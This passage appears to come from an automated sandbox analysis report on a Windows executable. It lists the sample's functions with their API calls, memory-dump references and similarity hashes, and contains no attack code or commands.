    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,0045BBD8,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457C22
    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000018,?,00000000,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457C3F
    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000018,?,?,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457CB5
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharMultiWide$CompareErrorInfoLastString
    • String ID:
    • API String ID: 1773772771-0
    • Opcode ID: 5e9390607b8d6ee7dbe0a8de45b835bdea254fc27890864218f4d5506f896f99
    • Instruction ID: 7feb89906a43771ec33674e053c7b17ab4a961398231c0e5b273a939fe000d16
    • Opcode Fuzzy Hash: 5e9390607b8d6ee7dbe0a8de45b835bdea254fc27890864218f4d5506f896f99
    • Instruction Fuzzy Hash: 45B1B131908209EFDF22DF54EC84BAE7BB6AF45346F24012BFC11A6252D7398D49CB59
    Function 00450BDA Relevance: 13.7, APIs: 9, Instructions: 196COMMON
    Download Yara Rule
    APIs
    • LCMapStringW.KERNEL32(00000000,00000100,00462758,00000001,00000000,00000000,0045BA70,00000024,0044B575,00000000,00000100,00000100,00000001,?,00000001,?), ref: 00450C01
    • GetLastError.KERNEL32(?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450C13
    • LCMapStringW.KERNEL32(?,00000100,004014B8,?,?,?,0045BA70,00000024,0044B575,00000000,00000100,00000100,00000001,?,00000001,?), ref: 00450C65
    • WideCharToMultiByte.KERNEL32(?,00000000,004014B8,?,00000000,00000000,00000000,00000000,0045BA70,00000024,0044B575,00000000,00000100,00000100,00000001,?), ref: 00450CC0
    • WideCharToMultiByte.KERNEL32(?,00000000,004014B8,?,?,?,00000000,00000000,?,004490FC,?,00000000,0047BCF4,?,?), ref: 00450D32
    • LCMapStringA.KERNEL32(?,00000100,?,?,00000000,00000000,?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450D4E
    • LCMapStringA.KERNEL32(?,00000100,?,?,?,00000000,?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450DBA
    • _strncpy.LIBCMT ref: 00450DDF
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: String$ByteCharMultiWide$ErrorLast_strncpy
    • String ID:
    • API String ID: 4089183155-0
    • Opcode ID: 40a5b97051f9a430940baf8ab6787554342598d741c4b39d97eebf3e28cbabf3
    • Instruction ID: 87915a71c5da1ed2875a20551b42c726cebfd4ef946e7aa7ce96f893867ce171
    • Opcode Fuzzy Hash: 40a5b97051f9a430940baf8ab6787554342598d741c4b39d97eebf3e28cbabf3
    • Instruction Fuzzy Hash: BF71B17580020AEFCF119FA4CC859EF7BB5FF09316F24462AF921A2262C7388D55DB59
    Function 0043CB9B Relevance: 13.6, APIs: 9, Instructions: 70fileCOMMON
    Download Yara Rule
    APIs
    • GetFileType.KERNEL32(000000FF,000000FF,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CBAB
    • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CBC2
    • ReadFile.KERNEL32(000000FF,000000FF,?,?,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A), ref: 0043CBDC
    • GetLastError.KERNEL32(?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?,00000000,00000000), ref: 0043CBE6
    • SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CBF5
    • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CC01
    • SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CC0D
    • SetLastError.KERNEL32(00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?,00000000,00000000), ref: 0043CC18
    • SetLastError.KERNEL32(00000006,000000FF,00000000,00000000,?,?,0043CB60,000000FF,000000FF,?,00000000,000000FF,?,?,0043C90A,?), ref: 0043CC25
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: File$Pointer$ErrorLast$ReadType
    • String ID:
    • API String ID: 74101062-0
    • Opcode ID: a69c8df32c0e20c753d7404060deeb2171b2dec1cf91e1f050b34e5e6fe33c2c
    • Instruction ID: ecafed72938480ac762a22eb363c2c95b40075f44803c8607e6e5373edb57986
    • Opcode Fuzzy Hash: a69c8df32c0e20c753d7404060deeb2171b2dec1cf91e1f050b34e5e6fe33c2c
    • Instruction Fuzzy Hash: 64115872900209FFEB019FA09DC8C7F7B7DEB48395F106466F505A2250C7349D11DBA5
    Function 00401DB3 Relevance: 13.6, APIs: 9, Instructions: 64sleepkeyboardwindowCOMMON
    Download Yara Rule
    APIs
    • MapVirtualKeyW.USER32(00000025,00000000), ref: 00401DD7
    • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00401DF5
    • Sleep.KERNEL32(00000000,?,0043FF5E,00000001,TABRIGHT,TABLEFT,ISENABLED,ISVISIBLE), ref: 00401DF8
    • MapVirtualKeyW.USER32(00000025,00000000), ref: 00401E01
    • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00401E39
    • Sleep.KERNEL32(00000000,?,0043FF5E,00000001,TABRIGHT,TABLEFT,ISENABLED,ISVISIBLE), ref: 00401E3C
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessagePostSleepVirtual
    • String ID:
    • API String ID: 660143448-0
    • Opcode ID: c5f8dfd490d2f8feaa47010e345f7e16d08157c92134579223c2cf7de968ed32
    • Instruction ID: 314088039eba6aec791dc48b178ba8ec29ead1ba01d9ff949e3fc8231b8fac0c
    • Opcode Fuzzy Hash: c5f8dfd490d2f8feaa47010e345f7e16d08157c92134579223c2cf7de968ed32
    • Instruction Fuzzy Hash: C8019631140608BFF6216F51CC49FAB7A5DDF45786F110829F790A50E2C9FAAC91997C
    Function 00411A14 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 343COMMON
    Download Yara Rule
    APIs
    • _strlen.LIBCMT ref: 00411A34
    • _strlen.LIBCMT ref: 00411A46
    • VkKeyScanA.USER32(00000000), ref: 00411AE3
    • VkKeyScanA.USER32(00000000), ref: 00411B96
      • Part of subcall function 00410DF3: VkKeyScanA.USER32(?), ref: 00410DFB
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Scan$_strlen
    • String ID: 0%d$down$off
    • API String ID: 1220333230-2112978555
    • Opcode ID: 4ef5677da4f412f11d5513374e1eeaf6012140df0c25a9a5df50ec0de7af25da
    • Instruction ID: e69c97ce56cf479a7f09eb9e4295095d95da97d2fa2f27f976221b7850857607
    • Opcode Fuzzy Hash: 4ef5677da4f412f11d5513374e1eeaf6012140df0c25a9a5df50ec0de7af25da
    • Instruction Fuzzy Hash: 11C14930A44245AEEF20CF55C845FEB7B74DF41308F24405BEA419B2A2E67C9DC6C799
    Function 0040FFA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 177COMMON
    Download Yara Rule
    Strings
    • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0040FFC5
    • Error opening the file, xrefs: 0041000D
    • Unterminated string, xrefs: 004101AD
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: HandleLoadModuleString
    • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string
    • API String ID: 3590730445-3232779785
    • Opcode ID: f883dc1264e64bc73bfa17d63d9b0fdb745af918d1e7d9c0c24b9034dd7eab45
    • Instruction ID: 77393d9a191bb7f7478c373efea1c4ed925f04e9ca4268ec523b6ef09f5006fe
    • Opcode Fuzzy Hash: f883dc1264e64bc73bfa17d63d9b0fdb745af918d1e7d9c0c24b9034dd7eab45
    • Instruction Fuzzy Hash: 95616F7280421DBEEF21DBA0CC45FDE7B78AF05308F0440ABF905A2152DB7D9AC98B59
    Function 00414C46 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 171COMMON
    Download Yara Rule
    APIs
    • 752A1560.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?,?,?), ref: 00414CDA
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: A1560
    • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
    • API String ID: 1715707778-1459072770
    • Opcode ID: 86428efb9b3e8ac43dcb9c24adbf7a51f161da3ec63f6392ab646084e21f9d3d
    • Instruction ID: b540cfc319d4a38a51c032714b70e1d9c6a701d3d0a690d825f71a9fdec0b216
    • Opcode Fuzzy Hash: 86428efb9b3e8ac43dcb9c24adbf7a51f161da3ec63f6392ab646084e21f9d3d
    • Instruction Fuzzy Hash: 6E41D571900205BAFF25BB619C82DFF776CEF41728B10006FFC05A6182EB3D9E05A669
    Function 004133AD Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 123windowCOMMON
    Download Yara Rule
    APIs
    • GetMenuItemInfoW.USER32(?,000000FF,00000000,0000002C), ref: 00413437
    • IsMenu.USER32(00000000), ref: 0041344D
    • CreatePopupMenu.USER32 ref: 00413489
    • GetMenuItemCount.USER32(?), ref: 004134E2
    • InsertMenuItemW.USER32(00000000,000000F5,00000001,0000002C), ref: 00413509
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Menu$Item$CountCreateInfoInsertPopup
    • String ID: ,$2
    • API String ID: 93392585-4146714288
    • Opcode ID: 96b5094224ff491608ca524e3ef8238d77196a8e218a0bed69d208cc94b3b17b
    • Instruction ID: a783e2e86e23b152b86a37afb85d67028e09b8e793856ccb80c6acdd71082a21
    • Opcode Fuzzy Hash: 96b5094224ff491608ca524e3ef8238d77196a8e218a0bed69d208cc94b3b17b
    • Instruction Fuzzy Hash: DF41A370900209DBDF21CF68C8847EEBBF5AF4471AF18856AE855A7391D3789A80CB59
    Function 0041FCD4 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 116windowCOMMON
    Download Yara Rule
    APIs
    • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0041FD29
    • LoadStringW.USER32(?,?,00000FFF), ref: 0041FD3C
    • MessageBoxW.USER32(?,?,00011010), ref: 0041FE42
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: LoadString$Message
    • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:
    • API String ID: 2278601591-4162891365
    • Opcode ID: bf556b6b28b6e5c7f2e0e05ef1a1792f4beb60635d7a19190b26143e58addd44
    • Instruction ID: ee04281732928d5b98adbc9f49825bd154e7ff119a3da136eabcaa7874e413dc
    • Opcode Fuzzy Hash: bf556b6b28b6e5c7f2e0e05ef1a1792f4beb60635d7a19190b26143e58addd44
    • Instruction Fuzzy Hash: 0841C872D00218AADF21ABA5CC45FDE77ACAF05308F0040B7F908E6152E67D9E89DB5D
    Function 004159F1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
    • String ID: 0.0.0.0
    • API String ID: 642191829-3771769585
    • Opcode ID: 1fe1fc4897be211978021beebcb1c8ce92a4e8963263964988dd7897a44ed26f
    • Instruction ID: d3789d6f31b40d2e731d2683e6b01f7d561f7210baffac271eff7e217f67039d
    • Opcode Fuzzy Hash: 1fe1fc4897be211978021beebcb1c8ce92a4e8963263964988dd7897a44ed26f
    • Instruction Fuzzy Hash: 3711E971940118BBFF11BA75CC86EDA33AC9F40368F1401A7B905A6182EA7C9FC59A9D
    Function 00412B78 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 68windowCOMMON
    Download Yara Rule
    APIs
    • LoadIconW.USER32(00000000,00007F03), ref: 00412BC0
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: IconLoad
    • String ID: blank$info$question$stop$warning
    • API String ID: 2457776203-404129466
    • Opcode ID: 1dab5a4c37849c9e9609932a94803abe9922b88540791e85f48b547d4dd9970f
    • Instruction ID: 03b6517efc2aea6fd5e6d95e9b9689b5489a5d42b1b8a25ecbfe9ccecd26a511
    • Opcode Fuzzy Hash: 1dab5a4c37849c9e9609932a94803abe9922b88540791e85f48b547d4dd9970f
    • Instruction Fuzzy Hash: 4C11C63164C305BAFA165E519E02DEF63A8DF1472DB20005BFD02E11C2FAEDBA91519D
    Function 00455946 Relevance: 12.2, APIs: 8, Instructions: 177COMMON
    Download Yara Rule
    APIs
    • GetCPInfo.KERNEL32(?,?,0045C3C8,00000044,00453D57,?,00000000,?,?,00000000,00000000,0045C138,0000001C,0044EC56,00000001,?), ref: 0045598F
    • GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00455939,?), ref: 004559A6
    • _strlen.LIBCMT ref: 004559CA
    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,?,?,?,?,?,00000001,00000000,00455939), ref: 004559EB
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Info$ByteCharMultiWide_strlen
    • String ID:
    • API String ID: 1335377746-0
    • Opcode ID: d8d7e3d94369847d7cc9e647fb3da14105b350b1777ffda7a6d4c73ed2825514
    • Instruction ID: 790e399b39677daab9e77fb99c5e02dc5982c928aa711800bb143dd447e7e016
    • Opcode Fuzzy Hash: d8d7e3d94369847d7cc9e647fb3da14105b350b1777ffda7a6d4c73ed2825514
    • Instruction Fuzzy Hash: CC519E70901A18EFDF20DF95DCD89AFBBB9EF45322F20421AF815A6292D7385C45CB58
    Function 0043C20B Relevance: 12.2, APIs: 8, Instructions: 171registryCOMMON
    Download Yara Rule
    APIs
    • RegConnectRegistryW.ADVAPI32(?,00000000,00000000), ref: 0043C2B4
    • RegOpenKeyExW.ADVAPI32(00000000,?,00000000,?,00000000), ref: 0043C2F2
    • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0043C31D
    • RegDeleteValueW.ADVAPI32(00000000,00000000), ref: 0043C355
    • RegCloseKey.ADVAPI32(00000000), ref: 0043C37E
    • RegCloseKey.ADVAPI32(00000000,00000002,00000000), ref: 0043C3C4
      • Part of subcall function 0043C147: RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 0043C178
    • RegCloseKey.ADVAPI32(00000000), ref: 0043C390
    • RegDeleteKeyW.ADVAPI32(00000000,?), ref: 0043C39A
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Close$Delete$ConnectEnumOpenRegistryValue
    • String ID:
    • API String ID: 4081530528-0
    • Opcode ID: fda0f22d2eda36e186a15a606b6a87005c4d9a9ed66a4535723ec2fc8b9d9f5a
    • Instruction ID: e232bde8f73a62d7fa102d6d414556a0cb7fee49fb5508a77672693c226a2e41
    • Opcode Fuzzy Hash: fda0f22d2eda36e186a15a606b6a87005c4d9a9ed66a4535723ec2fc8b9d9f5a
    • Instruction Fuzzy Hash: F9516F32900118EBCF10EFA5DC85AEE7774AF08314F14805AF805BB191DB39EE45DBA8
    Function 004115E2 Relevance: 12.2, APIs: 8, Instructions: 170windowCOMMON
    Download Yara Rule
    APIs
    • GetParent.USER32(?), ref: 00411608
    • GetKeyboardState.USER32(?), ref: 0041161D
    • PostMessageW.USER32(?,00000101,00000012,?), ref: 0041167B
    • PostMessageW.USER32(?,00000101,00000011,?), ref: 004116A1
    • PostMessageW.USER32(?,00000101,00000010,?), ref: 004116C7
    • PostMessageW.USER32(?,00000101,00000010,?), ref: 004116ED
    • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00411713
    • SetKeyboardState.USER32(?), ref: 0041175D
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
